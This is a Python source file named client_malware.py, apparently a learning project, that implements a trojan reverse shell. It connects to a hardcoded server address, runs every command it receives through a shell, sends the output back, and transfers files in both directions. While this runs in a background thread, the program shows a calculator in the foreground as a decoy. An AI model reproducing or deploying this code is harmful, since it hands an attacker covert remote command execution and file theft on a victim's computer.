client_malware.py

# Refrence : https://realpython.com/python-sockets/
# echo-client.py

import socket
import threading
import subprocess
import os
from config import PORT
import cal

HOST = "127.0.1.1"  # The server's hostname or IP address
PORT = PORT  # The port used by the server

FORMAT = "UTF-8"


def decode_inp(str):
    args = str.split()
    command = args[0]
    match command:
        case "exit":
            return (0, "")
        case _:
            space = str.find(" ")
            text = str[space + 1 :]
            return (1, text)


sock = None


def start():

    global sock
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    i = 0
    while True:
        try:
            sock.connect((HOST, PORT + i))
            t2 = threading.Thread(target=listen)
            t2.start()
            break
        except ConnectionRefusedError as err:
            if err.errno == 111:
                i += 1
            else:
                raise err


def run_command(command):
    result = subprocess.run(
        command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, text=True
    )
    output = result.stdout + result.stderr
    return output


def wrap_data(data: str):
    size = len(data) + 3
    new_data = "norm" + "<SEPARATOR>" + str(size) + "<SEPARATOR>" + data + "end"
    return new_data


def check_not_data(data):
    if not data:
        exit()


def get_data():
    whole_data = ""
    data = sock.recv(1024)
    check_not_data(data)

    typ, size, rest = data.split("<SEPARATOR>".encode(FORMAT), 2)
    typ, size = typ.decode(FORMAT), int(size.decode(FORMAT))

    whole_data = rest.decode(FORMAT)
    ret_size = len(data)
    while size > ret_size:
        data = sock.recv(1024).decode(FORMAT)
        check_not_data(data)
        ret_size += len(data)
        whole_data += data

    if typ == "norm":
        return whole_data[:-3], None
    elif typ == "dwnl":
        return whole_data[:-3], typ
    elif typ == "upld":
        dest = whole_data[:-3]

        data = sock.recv(1024)
        check_not_data(data)

        file_name, file_size, rest = data.split("<SEPARATOR>".encode(FORMAT), 2)
        file_name, file_size = file_name.decode(FORMAT), int(file_size.decode(FORMAT))

        path = make_path(file_name, dest)

        ret_size = len(rest)
        try:
            with open(path, "wb") as f:
                if rest:
                    f.write(rest)
                while ret_size < file_size:
                    bytes_read = sock.recv(1024)
                    if not bytes_read:
                        return "file download failed", typ
                    ret_size += len(bytes_read)
                    f.write(bytes_read)
            return "file upload was successful", typ
        except FileNotFoundError:
            while ret_size < file_size:
                bytes_read = sock.recv(1024)
                if not bytes_read:
                    return "file download failed", typ
                ret_size += len(bytes_read)
            return "file upload failed - No such file or directory", typ


def make_path(file_name, dest):
    if os.path.exists(dest):
        if os.path.isdir(dest):
            if dest[:-1] == "/":
                path = dest + file_name
            else:
                path = dest + "/" + file_name
        else:
            path = dest
    else:
        if not dest:
            path = file_name
        else:
            path = dest
    return path


def handle(command):
    if not command:
        send_data = wrap_data("")
        sock.sendall(send_data.encode(FORMAT))
    elif command[:2] == "cd":
        try:
            if command == "cd" or command == "cd ~":
                result = subprocess.run(
                    "echo $HOME",
                    stdout=subprocess.PIPE,
                    stderr=subprocess.PIPE,
                    shell=True,
                    text=True,
                )
                print(result.stdout)
                os.chdir(result.stdout[:-1])
            else:
                os.chdir(command[3:])

            response = "pwd = " + os.getcwd() + "\n"
            sock.sendall(wrap_data(response).encode(FORMAT))

        except FileNotFoundError:
            response = "The specified directory does not exist.\n"
            sock.sendall(wrap_data(response).encode(FORMAT))

    else:
        output = run_command(command)
        send_data = wrap_data(output)
        sock.sendall(send_data.encode(FORMAT))


def upload_to_server(file_name):
    response = ""
    if file_name[-1] == "\n":
        file_name = file_name[:-1]
    try:
        print(file_name)
        file_size = os.path.getsize(file_name)
    except FileNotFoundError:
        response = "err"
        send_data = (
            "err" + "<SEPARATOR>" + str(50) + "<SEPARATOR>" + response + "<SEPARATOR>"
        )
        sock.sendall(send_data.encode(FORMAT))
        return

    send_data = (
        file_name
        + "<SEPARATOR>"
        + str(file_size)
        + "<SEPARATOR>"
        + response
        + "<SEPARATOR>"
    )
    sock.sendall(send_data.encode(FORMAT))

    with open(file_name, "rb") as f:
        while True:
            bytes_read = f.read(4096)
            if not bytes_read:
                break
            sock.sendall(bytes_read)


def listen():
    while True:
        data, special = get_data()
        data = data.strip()
        if special == "dwnl":
            upload_to_server(data + "\n")
        elif special == "upld":
            send_data = wrap_data(data)
            sock.sendall(send_data.encode(FORMAT))
        else:
            handle(data)


th = threading.Thread(target=start)
th.start()
calculator = cal.FancyCalculator()
calculator.run()